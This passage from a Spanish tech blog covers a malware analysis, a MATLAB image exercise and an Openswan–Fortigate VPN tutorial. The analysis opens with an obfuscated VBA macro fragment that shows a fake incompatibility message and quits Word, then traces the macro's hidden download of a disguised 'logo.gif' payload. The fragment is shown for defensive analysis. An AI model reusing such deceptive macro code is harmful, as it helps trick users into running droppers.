MsgBox Chr(69) & Chr(115) & "t" & Chr(101) & Chr(32) & Chr(100) & "o" & Chr(99) & Chr(117) & Chr(109) & "e" & Chr(110) & "t" & Chr(111) & Chr(32) & "n" & Chr(111) & " " & Chr(101) & "s" & Chr(32) & Chr(99) & Chr(111) & "m" & Chr(112) & "a" & Chr(116) & "i" & "b" & "l" & Chr(101) & Chr(32) & Chr(99) & "o" & "n" & Chr(32) & Chr(101) & Chr(115) & "t" & "e" & Chr(32) & "e" & Chr(113) & Chr(117) & "i" & Chr(112) & "o" & "." & vbCrLf & vbCrLf & "P" & "o" & Chr(114) & Chr(32) & Chr(102) & "a" & Chr(118) & Chr(111) & Chr(114) & " " & "i" & Chr(110) & "t" & Chr(101) & Chr(110) & "t" & Chr(101) & Chr(32) & "d" & Chr(101) & "s" & "d" & "e" & Chr(32) & "o" & Chr(116) & Chr(114) & "o" & Chr(32) & Chr(101) & "q" & Chr(117) & "i" & Chr(112) & Chr(111) & ".", vbCritical, Chr(69) & "q" & Chr(117) & "i" & "p" & Chr(111) & " " & Chr(110) & "o" & " " & Chr(99) & Chr(111) & "m" & Chr(112) & "a" & Chr(116) & "i" & Chr(98) & Chr(108) & Chr(101)   'attack; Richard Carr, JFK assassination witness about to testify in the Clay
Application.DisplayAlerts = False
'Little Big Horn. Bell patents telephone. Otto builds four-cycle gasoline engine.
'viruses in human tissue cultures. Cedric Mims, in 1981, said in a published
Application.Quit
'Bormann's a few days after articles appear with evidence he is alive in
End Function

¿Realmente se está descargando este archivo a nuestras espaldas?, vamos a verlo con unas capturas de red que le estuvimos haciendo al equipo desde donde descargamos el archivo, y con tan solo ejecutarlo la actividad hacia esa dirección se hizo presente.

Stream-Bicho-1

Si vemos un poco dentro de la trama de TCP ahí esta la descarga del archivo “logo.gif”

Stream-Bicho-2

Analizar el archivo.

Vamos a descargar ese archivo GIF en cuestión y lo mandamos a analizar por ejemplo a la pagina de virustotal que es parte de google que nos permite analizarlo con distintos motores de antivirus.

Este muchacho dista de ser simplemente un “GIF” coqueto.
Gif-Bicho-1

Comentarios de otros usuarios acerca del archivo.
Gif-Bicho-2

Muy sencillo ¿no?, sin embargo mucha gente está cayendo con este tipo de correos dirigidos principalmente a dominios empresariales, donde aprovechando la curiosidad de los usuarios y la falta de aplicaciones de antivirus en los equipos se está aprovechando una modalidad de malware tan vieja en las computadoras personales que son: los virus de macro que implementan un archivo oculto siendo estos un troyano que puede ser la puerta a amenazas más fuertes como el ransomware.

Un buen sistema de antivirus puede ayudar y también sistemas de filtrado web donde mediante bases de datos actualizadas de direcciones IP maliciosas puede ayudar a protegernos, tener respaldos de seguridad al día aunque al final lo principal es hacer conciencia al usuario para evitar este tipo de problemas.

Seguiremos con esto.

Pequeño ejercicio de contar con MATLAB – 1.

Tuve de tarea unos ejercicios con MATLAB para trabajar con imágenes y entre ellos esta el de contar ciertos objetos determinados de una imagen dada. Hay muchas formas de hacer esto pero partiremos de algo sencillo con la intención de poner algunos ejemplos mas complejos, por lo pronto vamos a limitarnos a contar los círculos de la siguiente imagen:

Circles

¿Fácil no?, cinco círculos negros, pero hay que hacer un pequeño script para que lo realicemos con MATLAB.

Nuestra imagen se llama: Circles.png y aquí el código en MATLAB para contar los círculos.

Leemos la imagen y la asignamos a la variable: Circles.

Circles=imread('Circles.png');

Convertimos en blanco y negro la imagen.

Circlesbw=not(im2bw(Circles));

Contamos con la función bwlabel y le pasamos ese parámetro a la variable N.

N=max(max(bwlabel(Circlesbw,8)));
imshow(Circlesbw)

El valor de N sera de cinco que es el número de círculos en la imagen.

La imagen en blanco y negro.

Circlesbw

El código completo:

Circles=imread('Circles.png');
Circlesbw=not(im2bw(Circles));
N=max(max(bwlabel(Circlesbw,8)));
imshow(Circlesbw)

Algo muy pequeño, luego abordaremos algo mas difícil.

Debian, Openswan y Fortigate – 1

table.myTable { border-collapse:collapse; }
table.myTable td, table.myTable th { border:1px solid black;padding:5px;text-align:left; }

Me preguntaron: ¿Es posible con un servidor Linux establecer una VPN IPsec contra un dispositivo Fortigate usando como enlace de Internet un servicio ADSL de TELMEX?

Según este enlace es posible: Using an Openswan client with FortiGate VPN, pero no me pareció tan sencillo como se menciona.

Los equipos Fortigate de la marca Fortinet tienen una interfaz gráfica cómoda que nos permite realizar dependiendo nuestras necesidades diversas VPN como PPTP, SSL e IPsec.

En este pequeño documento describiré la conexión de Openswan con un par de modelos Fortigate que son el 500 y el 600C. Lo realizare de una manera conforme me fui topando con diversos problemas de conexión.

Los parámetros serán los siguientes:

Cliente Debian Linux 7.2.0
Openswan versión 2.6.37
Fortigate 500 y 600C.
Enlace dedicado con IP publica del lado del firewall Fortinet.
Enlace de Internet ADSL Telmex Infinitum con IP dinámica.

El diagrama de red lo presento a continuación.

Diagrama de red.
Diagrama de red.

Tenemos una LAN con red 192.168.1.0/24 que es la red de una pequeña oficina que se necesita conectar a servicios que están en una oficina matriz con red 172.16.30.0/28.

Nombraremos a la red matriz como Iturbide y a la oficina remota como Guerrero.

Oficina Guerrero:

Equipos de la oficina (PC, Laptop, Impresoras): 192.168.10-30/24
Servidor Debian Linux con Openswan: 192.168.1.100.
Router ADSL: 192.168.1.254

Oficina Iturbide:

Equipos de la oficina (PC, Servidores, BD): 172.16.30.2-12/28
Equipo Fortigate 500: 172.16.30.1
IP publica: 200.xxx.xxx.xxx

Creación de la VPN en el equipo Fortigate 500.

Vamos a configurar la VPN en el equipo Fortigate mediante su interfaz web.

IPsec-FG-500-1

Creamos la fase 1.

Name Openswan_p1_Guerrero
Remote Gateway Dialup User
Local Interface external (WAN1)
Mode Main (ID protection)
Authentication Method Preshared Key
Pre-shared Key ConexionPruebas

IPsec-FG-500-2-2

Creamos la fase 2.

Name Openswan_p2_Guerrero
Phase 1 Openswan_p1_Guerrero

IPsec-FG-500-3

Con esto ya tenemos nuestra VPN configurada posteriormente agregaremos un par de detalles.

IPsec-FG-500-4

Creamos la red origen.

Name Red-Oficina-Iturbide
Type Subnet/IP Range
Subnet/IP Range 172.16.30.0/255.255.255.240
Interface port1 (internal)

IPsec-FG-500-6

Creamos la red destino.

Name Red-Oficina-Guerrero
Type Subnet/IP Range
Subnet/IP Range 192.168.1.0/255.255.255.0
Interface external (WAN1)

IPsec-FG-500-5

Vamos a crear la política.

Source Interface/Zone port1 (internal)
Source Address Red-Oficina-Iturbide
Destination Interface/Zone external (WAN1)
Destination Address Red-Oficina-Guerrero
Schedule always
Service ANY
Action IPSEC
VPN Tunnel Openswan_p1_Guerrero

IPsec-FG-500-7

Por el momento eso es todo lo que haremos en el dispositivo fortigate posteriormente realizaremos mas cambios.

Partimos de una instalación básica solamente con el servicio de SSH instalado, por lo cual instalaremos openswan junto con sus dependencias.

Verificamos el núcleo y la versión de nuestro sistema Debian.

root@debian-tester:~# uname -a
Linux debian-tester 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux
root@debian-tester:~# cat /etc/issue.net
Debian GNU/Linux 7                                       

Vamos a buscar los paquetes.

root@debian-tester:~# aptitude search openswan
p   openswan                                                                                - Internet Key Exchange daemon                                                                      
p   openswan-dbg                                                                            - Internet Key Exchange daemon - debugging symbols                                                  
p   openswan-doc                                                                            - Internet Key Exchange daemon - documentation                                                      
p   openswan-modules-dkms                                                                   - Internet Key Exchange daemon - DKMS source                                                        
p   openswan-modules-source                                                                 - Internet Key Exchange daemon - kernel module source

Instalamos la aplicación.

root@debian-tester:~# aptitude install openswan
The following NEW packages will be installed:
  bind9-host{a} ca-certificates{a} geoip-database{a} host{a} libbind9-80{a} libcap2{a} libclass-isa-perl{a} libcurl3{a} libdns88{a} libgeoip1{a} libisc84{a} libisccc80{a} libisccfg82{a} 
  libldap-2.4-2{a} liblwres80{a} librtmp0{a} libsasl2-2{a} libsasl2-modules{a} libssh2-1{a} libswitch-perl{a} libxml2{a} openssl{a} openswan perl{a} perl-modules{a} sgml-base{a} 
  xml-core{a} 
0 packages upgraded, 27 newly installed, 0 to remove and 0 not upgraded.
Need to get 14.8 MB of archives. After unpacking 48.2 MB will be used.
Do you want to continue? [Y/n/?] Y
Get: 1 http://security.debian.org/ wheezy/updates/main libcurl3 amd64 7.26.0-1+wheezy6 [331 kB]
Get: 2 http://ftp.de.debian.org/debian/ wheezy/main libcap2 amd64 1:2.22-1.2 [13.6 kB]
Get: 3 http://ftp.de.debian.org/debian/ wheezy/main libsasl2-2 amd64 2.1.25.dfsg1-6+deb7u1 [120 kB]
.
.
.
Setting up openswan (1:2.6.37-3) ...
ipsec_setup: Starting Openswan IPsec 2.6.37-g955aaafb-dirty...
ipsec_setup: No KLIPS support found while requested, desperately falling back to netkey
ipsec_setup: NETKEY support found. Use protostack=netkey in /etc/ipsec.conf to avoid attempts to use KLIPS. Attempting to continue with NETKEY
Setting up libclass-isa-perl (0.36-3) ...
.
.
.
Updating certificates in /etc/ssl/certs... 158 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d....done.
Processing triggers for sgml-base ...

Verificamos el estado del servicio y por el momento no hay ningún túnel arriba.

root@debian-tester:~# /etc/init.d/ipsec status
IPsec running  - pluto pid: 4606
pluto pid 4606
No tunnels up

Tomando como referencia la documentación de la base de conocimientos de fortinet tenemos la siguiente configuración inicial:

conn office 
 #left side is home
 left=%defaultroute
 #right side is work
 #set right to vpn remote gateway
 right=xxx.xxx.xxx.xxx
 #set rightsubnet to remote network
 rightsubnet=172.20.120.0/24
 keyexchange=ike
 #auth=esp
 #auto=start
 authby=secret
 #specify encryption FortiGate VPN uses
 esp=3des
 #perfect forward secrecy (default yes)
 #pfs=no
 #optionally enable compression
 compress=yes

Crearemos un archivo llamado iturbide.conf dentro del directorio /etc/ipsec.d/ el cual tendrá el siguiente contenido cambiando las opciones adecuándolas a nuestro esquema de red.

root@debian-tester:~# cat /etc/ipsec.d/iturbide.conf
conn iturbide
 #left side is home
 left=%defaultroute
 #right side is work
 #set right to vpn remote gateway
 right=200.xxx.xxx.xxx
 #set rightsubnet to remote network
 rightsubnet=172.16.30.0/28
 keyexchange=ike
 #auth=esp
 #auto=start
 authby=secret
 #specify encryption FortiGate VPN uses
 esp=3des
 #perfect forward secrecy (default yes)
 #pfs=no
 #optionally enable compression
 compress=yes

Al final del archivo /etc/ipsec.secrets colocamos nuestra contraseña de la siguiente manera:

root@debian-tester:~# cat /etc/ipsec.secrets 
# This file holds shared secrets or RSA private keys for inter-Pluto
# authentication.  See ipsec_pluto(8) manpage, and HTML documentation.

# RSA private key for this host, authenticating it to any other host
# which knows the public part.  Suitable public keys, for ipsec.conf, DNS,
# or configuration of other implementations, can be extracted conveniently
# with "ipsec showhostkey".

# this file is managed with debconf and will contain the automatically created RSA keys
include /var/lib/openswan/ipsec.secrets.inc

: PSK "ConexionPruebas" 

Reiniciamos el servicio de IPsec.

root@debian-tester:~# /etc/init.d/ipsec restart
ipsec_setup: Stopping Openswan IPsec...
ipsec_setup: Starting Openswan IPsec 2.6.37-g955aaafb-dirty...
ipsec_setup: No KLIPS support found while requested, desperately falling back to netkey
ipsec_setup: NETKEY support found. Use protostack=netkey in /etc/ipsec.conf to avoid attempts to use KLIPS. Attempting to continue with NETKEY

Si tenemos un error como el siguiente se debe a que existe un espacio o tabulador en la linea donde esta la opción de include /etc/ipsec.d/*.conf.

root@debian-tester:~# /etc/init.d/ipsec restart
failed to start openswan IKE daemon - the following error occured:
can not load config '/etc/ipsec.conf': /etc/ipsec.conf:41: syntax error, unexpected INCLUDE [include]
root@debian-tester:~# cat /etc/ipsec.conf | grep include
        include /etc/ipsec.d/*.conf
root@debian-tester:~# cat /etc/ipsec.conf | grep include
include /etc/ipsec.d/*.conf

Ahora iniciamos la VPN.

root@debian-tester:~# ipsec auto --add iturbide
root@debian-tester:~# ipsec auto --up iturbide
022 "iturbide": We cannot identify ourselves with either end of this connection.

Tenemos un error que es asociado a que no puede identificar nuestra correcta puerta de enlace, así que empezaremos a modificar un poco la configuración en la que nos basamos, cambiamos el parametro left y agregar leftsubnet que sera la red origen y lefnexthop que es nuestro puerta de enlace.

root@debian-tester:~# vim /etc/ipsec.d/iturbide.conf 
left=192.168.1.100
leftsubnet=192.168.1.0/24
leftnexthop=192.168.1.254

Reiniciamos de nuevo.

root@debian-tester:~# /etc/init.d/ipsec restart

Volvemos a iniciar la conexión.

root@debian-tester:~# ipsec auto --add iturbide
root@debian-tester:~# ipsec auto --up iturbide
104 "iturbide" #1: STATE_MAIN_I1: initiate
003 "iturbide" #1: received Vendor ID payload [RFC 3947] method set to=109 
003 "iturbide" #1: received Vendor ID payload [Dead Peer Detection]
106 "iturbide" #1: STATE_MAIN_I2: sent MI2, expecting MR2
003 "iturbide" #1: NAT-Traversal: Result using RFC 3947 (NAT-Traversal): i am NATed
108 "iturbide" #1: STATE_MAIN_I3: sent MI3, expecting MR3
004 "iturbide" #1: STATE_MAIN_I4: ISAKMP SA established {auth=OAKLEY_PRESHARED_KEY cipher=oakley_3des_cbc_192 prf=oakley_sha group=modp1536}
117 "iturbide" #2: STATE_QUICK_I1: initiate
003 "iturbide" #2: ignoring informational payload, type IPSEC_RESPONDER_LIFETIME msgid=0cd368e8
004 "iturbide" #2: STATE_QUICK_I2: sent QI2, IPsec SA established tunnel mode {ESP=>0x10c29931 <0xfb540947 xfrm=3DES_0-HMAC_MD5 NATOA=none NATD=none DPD=none}

Logramos iniciar la conexión satisfactoriamente vamos a verificar el estado de la VPN.

root@debian-tester:~# ipsec auto --status
000 using kernel interface: netkey
000 interface lo/lo ::1
000 interface lo/lo 127.0.0.1
000 interface lo/lo 127.0.0.1
000 interface eth0/eth0 192.168.1.100
000 interface eth0/eth0 192.168.1.100
000 %myid = (none)
000 debug none
.
.
.
000  
000 "iturbide": 192.168.1.0/24===192.168.1.100[+S=C]---192.168.1.254...200.xxx.xxx.xxx[+S=C]===172.16.30.0/28; erouted; eroute owner: #2
000 "iturbide":     myip=unset; hisip=unset;
000 "iturbide":   ike_life: 3600s; ipsec_life: 28800s; rekey_margin: 540s; rekey_fuzz: 100%; keyingtries: 0
000 "iturbide":   policy: PSK+ENCRYPT+COMPRESS+TUNNEL+PFS+UP+IKEv2ALLOW+SAREFTRACK+lKOD+rKOD; prio: 24,28; interface: eth0; 
000 "iturbide":   newest ISAKMP SA: #1; newest IPsec SA: #2; 
000 "iturbide":   IKE algorithm newest: 3DES_CBC_192-SHA1-MODP1536
000 "iturbide":   ESP algorithms wanted: 3DES(3)_000-MD5(1)_000, 3DES(3)_000-SHA1(2)_000; flags=-strict
000 "iturbide":   ESP algorithms loaded: 3DES(3)_192-MD5(1)_128, 3DES(3)_192-SHA1(2)_160
000 "iturbide":   ESP algorithm newest: 3DES_000-HMAC_MD5; pfsgroup=
000  
000 #2: "iturbide":4500 STATE_QUICK_I2 (sent QI2, IPsec SA established); EVENT_SA_REPLACE in 27276s; newest IPSEC; eroute owner; isakmp#1; idle; import:admin initiate
000 #2: "iturbide" esp.10c29931@200.xxx.xxx.xxx esp.fb540947@192.168.1.100 tun.0@200.xxx.xxx.xxx tun.0@192.168.1.100 ref=0 refhim=4294901761
000 #1: "iturbide":4500 STATE_MAIN_I4 (ISAKMP SA established); EVENT_SA_REPLACE in 2471s; newest ISAKMP; lastdpd=1s(seq in:0 out:0); idle; import:admin initiate
000  

El servicio ya nos indica que tenemos un túnel conectado.

root@debian-tester:~# /etc/init.d/ipsec status
IPsec running  - pluto pid: 9186
pluto pid 9186
1 tunnels up
some eroutes exist

Y tenemos trafico desde nuestro servidor al equipo fortigate.

root@debian-tester:~# ping 172.16.30.1
PING 172.16.30.1 (172.16.30.1) 56(84) bytes of data.
64 bytes from 172.16.30.1: icmp_req=1 ttl=255 time=26.6 ms
64 bytes from 172.16.30.1: icmp_req=2 ttl=255 time=25.8 ms
64 bytes from 172.16.30.1: icmp_req=3 ttl=255 time=27.7 ms
64 bytes from 172.16.30.1: icmp_req=4 ttl=255 time=28.6 ms
64 bytes from 172.16.30.1: icmp_req=5 ttl=255 time=31.9 ms
^C
--- 172.16.30.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4008ms
rtt min/avg/max/mdev = 25.895/28.167/31.957/2.112 ms

De igual manera el equipo fortigate puede alcanzar a nuestro servidor Openswan.

FGT5002803033352 # execute ping 192.168.1.100
PING 192.168.1.100 (192.168.1.100): 56 data bytes
64 bytes from 192.168.1.100: icmp_seq=0 ttl=64 time=28.7 ms
64 bytes from 192.168.1.100: icmp_seq=1 ttl=64 time=28.5 ms
64 bytes from 192.168.1.100: icmp_seq=2 ttl=64 time=26.9 ms
64 bytes from 192.168.1.100: icmp_seq=3 ttl=64 time=27.8 ms
64 bytes from 192.168.1.100: icmp_seq=4 ttl=64 time=25.8 ms

--- 192.168.1.100 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 25.8/27.5/28.7 ms

Ahora eso es del lado de nuestro servidor si queremos algo de debug en el fortigate podemos acceder mediante consola o SSH a estos equipos y ejecutar el modo de diagnostico para este tipo de conexión de la siguiente manera.

FGT5002803033352 # diagnose debug console 
FGT5002803033352 # diagnose debug enable
FGT5002803033352 # diagnose debug application ike -1

Justamente cuando iniciamos la conexión en nuestro servidor aquí empezó a registrar todo el proceso de conexión.

FGT5002803033352 # 0: comes 201.124.89.127:49198->200.xxx.xxx.xxx:500,ifindex=3....                                                                                                               
0: exchange=Identity Protection id=0334eedbdbcc0a40/0000000000000000 len=592                                                                                                                    
0:Openswan_p1_Guerrero: new connection.                                                                                                                                                         
0:Openswan_p1_Guerrero:44: responder: main mode get 1st message...
0:Openswan_p1_Guerrero:44: unknown VID (12): OEfdpoplS^}i
0:Openswan_p1_Guerrero:44: VID DPD
0:Openswan_p1_Guerrero:44: DPD negotiated
0:Openswan_p1_Guerrero:44: VID RFC 3947
0:Openswan_p1_Guerrero:44: VID draft-ietf-ipsec-nat-t-ike-03
0:Openswan_p1_Guerrero:44: VID draft-ietf-ipsec-nat-t-ike-02

0:Openswan_p1_Guerrero:44: VID draft-ietf-ipsec-nat-t-ike-02
0:Openswan_p1_Guerrero:44: VID draft-ietf-ipsec-nat-t-ike-00
0:Openswan_p1_Guerrero:44: negotiation result
0:Openswan_p1_Guerrero:44: proposal id = 1:
0:Openswan_p1_Guerrero:44:   protocol id = ISAKMP:
0:Openswan_p1_Guerrero:44:      trans_id = KEY_IKE.
0:Openswan_p1_Guerrero:44:      encapsulation = IKE/none
0:Openswan_p1_Guerrero:44:         type=OAKLEY_ENCRYPT_ALG, val=3DES_CBC.
0:Openswan_p1_Guerrero:44:         type=OAKLEY_HASH_ALG, val=SHA.
0:Openswan_p1_Guerrero:44:         type=AUTH_METHOD, val=PRESHARED_KEY.
0:Openswan_p1_Guerrero:44:         type=OAKLEY_GROUP, val=1536.
0:Openswan_p1_Guerrero:44: ISKAMP SA lifetime=28800
0:Openswan_p1_Guerrero:44: selected NAT-T version: RFC 3947
0:Openswan_p1_Guerrero:44: cookie 0334eedbdbcc0a40/2980a6536ba23616
0:Openswan_p1_Guerrero:44: sent IKE msg (ident_r1send): 200.xxx.xxx.xxx:500->201.124.89.127:49198, len=120
Openswan_p1_Guerrero: Responder: sent 201.124.89.127 main mode message #1 (OK)
0: comes 201.124.89.127:49198->200.xxx.xxx.xxx:500,ifindex=3....
0: exchange=Identity Protection id=0334eedbdbcc0a40/2980a6536ba23616 len=292
0: found Openswan_p1_Guerrero 200.xxx.xxx.xxx 3 -> 201.124.89.127:49198
0:Openswan_p1_Guerrero:44: responder:main mode get 2nd message...
0:Openswan_p1_Guerrero:44: NAT detected: PEER
0:Openswan_p1_Guerrero:44: sent IKE msg (ident_r2send): 200.xxx.xxx.xxx:500->201.124.89.127:49198, len=292
0:Openswan_p1_Guerrero:44: put connection to natt list...ip=201.124.89.127.
Openswan_p1_Guerrero: Responder: sent 201.124.89.127 main mode message #2 (OK)
0: comes 201.124.89.127:49199->200.xxx.xxx.xxx:4500,ifindex=3....
0: exchange=Identity Protection id=0334eedbdbcc0a40/2980a6536ba23616 len=68
0:Openswan_p1_Guerrero:44: responder: main mode get 3rd message...
0:Openswan_p1_Guerrero:44: PSK authentication succeeded
0:Openswan_p1_Guerrero:44: authentication OK
0:Openswan_p1_Guerrero: adding new dialup tunnel for 201.124.89.127:49199
0:Openswan_p1_Guerrero_0: added new dialup tunnel for 201.124.89.127:49199
Openswan_p1_Guerrero_0: Responder: parsed 201.124.89.127 main mode message #3 (DONE)
0:Openswan_p1_Guerrero_0:44: confirmed nat-t RFC 3947
0:Openswan_p1_Guerrero_0:44: sent IKE msg (ident_r3send): 200.xxx.xxx.xxx:4500->201.124.89.127:49199, len=68
Openswan_p1_Guerrero_0: Responder: sent 201.124.89.127 main mode message #3 (DONE)
0:Openswan_p1_Guerrero_0:44: ISAKMP SA established
0:Openswan_p1_Guerrero_0:44: no pending Quick-Mode negotiations
0: comes 201.124.89.127:49199->200.xxx.xxx.xxx:4500,ifindex=3....
0: exchange=Quick id=0334eedbdbcc0a40/2980a6536ba23616:e868d30c len=412
0: found Openswan_p1_Guerrero_0 200.xxx.xxx.xxx 3 -> 201.124.89.127:49199
0:Openswan_p1_Guerrero_0:44::852: responder received first quick-mode message
0:Openswan_p1_Guerrero_0:44:852: peer proposal is: peer:192.168.1.0-192.168.1.255, me:172.16.30.0-172.16.30.15, ports=0/0, protocol=0/0
0:Openswan_p1_Guerrero_0:44:852: trying Openswan_p2_Guerrero
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: matched phase2
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: dialup
0:Openswan_p1_Guerrero_0:44: cmpsaprop: natt flags 0x5, pr1 encmode 3, pr2 encmode 1
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: negotiation result
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: proposal id = 0:
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852:   protocol id = IPSEC_ESP:
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852:      trans_id = ESP_3DES
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852:      encapsulation = ENCAPSULATION_MODE_TUNNEL
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852:         type = AUTH_ALG, val=MD5
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: set pfs=1536
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: encapsulation = 1
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: using udp tunnel mode.
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: add RESPONDER-LIFETIME 1800 seconds
0:Openswan_p1_Guerrero_0:44: confirmed nat-t RFC 3947
0:Openswan_p1_Guerrero_0:44: sent IKE msg (quick_r1send): 200.xxx.xxx.xxx:4500->201.124.89.127:49199, len=388
Openswan_p1_Guerrero_0: Responder: sent 201.124.89.127 quick mode message #1 (OK)
0: comes 201.124.89.127:49199->200.xxx.xxx.xxx:4500,ifindex=3....
0: exchange=Quick id=0334eedbdbcc0a40/2980a6536ba23616:e868d30c len=52
0: found Openswan_p1_Guerrero_0 200.xxx.xxx.xxx 3 -> 201.124.89.127:49199
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: set sa life soft seconds=1790.
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: set sa life hard seconds=1800.
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: add SA #src=1 #dst=1
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: src 0 7 0.0.0.0-255.255.255.255
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: dst 0 7 192.168.1.0-192.168.1.255
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: installed SA: SPIs=10c29931/fb540947
0:Openswan_p1_Guerrero_0:44:Openswan_p2_Guerrero:852: sending SNMP tunnel UP trap
Openswan_p1_Guerrero_0: Responder: parsed 201.124.89.127 quick mode message #2 (DONE)
0:Openswan_p1_Guerrero_0: link is idle 3 200.xxx.xxx.xxx->201.124.89.127:49199 dpd=2 seqno=1
shrank heap by 122880 bytes
0:Openswan_p1_Guerrero_0: link is idle 3 200.xxx.xxx.xxx->201.124.89.127:49199 dpd=2 seqno=2
0:Openswan_p1_Guerrero_0: send DPD probe, seqno 2
0:Openswan_p1_Guerrero_0:44: confirmed nat-t RFC 3947

0:Openswan_p1_Guerrero_0:44: sent IKE msg (R-U-THERE): 200.xxx.xxx.xxx:4500->201.124.89.127:49199, len=92
0: comes 201.124.89.127:49199->200.xxx.xxx.xxx:4500,ifindex=3….
0: exchange=Informational id=0334eedbdbcc0a40/2980a6536ba23616:23aa5bf4 len=84
0: found Openswan_p1_Guerrero_0 200.xxx.xxx.xxx 3 -> 201.124.89.127:49199
0:Openswan_p1_Guerrero_0:44: notify msg received: R-U-THERE-ACK
0:Openswan_p1_Guerrero_0: link is idle 3 200.xxx.xxx.xxx->201.124.89.127:49199 dpd=2 seqno=3
0:Openswan_p1_Guerrero_0: send DPD probe, seqno 3
0:Openswan_p1_Guerrero_0:44: confirmed nat-t RFC 3947

0:Openswan_p1_Guerrero_0:44: sent IKE msg (R-U-THERE): 200.xxx.xxx.xxx:4500->201.124.89.127:49199, len=92
0: comes 201.124.89.127:49199->200.xxx.xxx.xxx:4500,ifindex=3....
0: exchange=Informational id=0334eedbdbcc0a40/2980a6536ba23616:d2b2b49e len=84
0: found Openswan_p1_Guerrero_0 200.xxx.xxx.xxx 3 -> 201.124.89.127:49199
0:Openswan_p1_Guerrero_0:44: notify msg received: R-U-THERE-ACK
0:Openswan_p1_Guerrero_0: link is idle 3 200.xxx.xxx.xxx->201.124.89.127:49199 dpd=2 seqno=4
0:Openswan_p1_Guerrero_0: send DPD probe, seqno 4
0:Openswan_p1_Guerrero_0:44: confirmed nat-t RFC 3947

En la interfaz web podemos visualizar el estado de la VPN.

IPsec-FG-500-8

Si queremos detener la VPN bastara lo siguiente.

root@debian-tester:~# ipsec auto --down iturbide
root@debian-tester:~# ipsec auto --delete iturbide

Para iniciar la VPN automáticamente cada vez que el servicio de IPsec se ejecute necesitamos habilitar en nuestro archivo de configuración el siguiente parámetro.

#auto=start

El archivo final de nuestra configuración queda de la siguiente manera:

root@debian-tester:~# cat /etc/ipsec.d/iturbide.conf
conn iturbide
 #left side is home
 left=192.168.1.100
 leftsubnet=192.168.1.0/24
 leftnexthop=192.168.1.254
 #right side is work
 #set right to vpn remote gateway
 right=200.xxx.xxx.xxx
 #set rightsubnet to remote network
 rightsubnet=172.16.30.0/28
 keyexchange=ike
 #auth=esp
 auto=start
 authby=secret
 #specify encryption FortiGate VPN uses
 esp=3des
 #perfect forward secrecy (default yes)
 #pfs=no
 #optionally enable compression
 compress=yes

Referencias para saber más:

Using an Openswan client with FortiGate VPN

<a href="http://kb.fortinet.com/kb/microsites/search.do?cmd=displayKC&docType=kc&externalId=11835&sliceId=1&docTypeID=DT_KCARTICLE_1_1&dialogID=55413949&stateId=0%200%2055415032&quot; title="kb.fortinet.com"

http://www.iphouse.com/blog/2012/01/20/debugging-ipsec-vpns-in-fortigate/

http://wildengineer.ilcavolfiore.it/?p=454

http://listarc.com/showthread.php?1179640-Openswan+to+Fortigate+60B+-+VPN

http://www.slashroot.in/linux-ipsec-site-site-vpnvirtual-private-network-configuration-using-openswan

http://www.linuxparatodos.net/portal/staticpages/index.php?page=openswan-diseno-vpn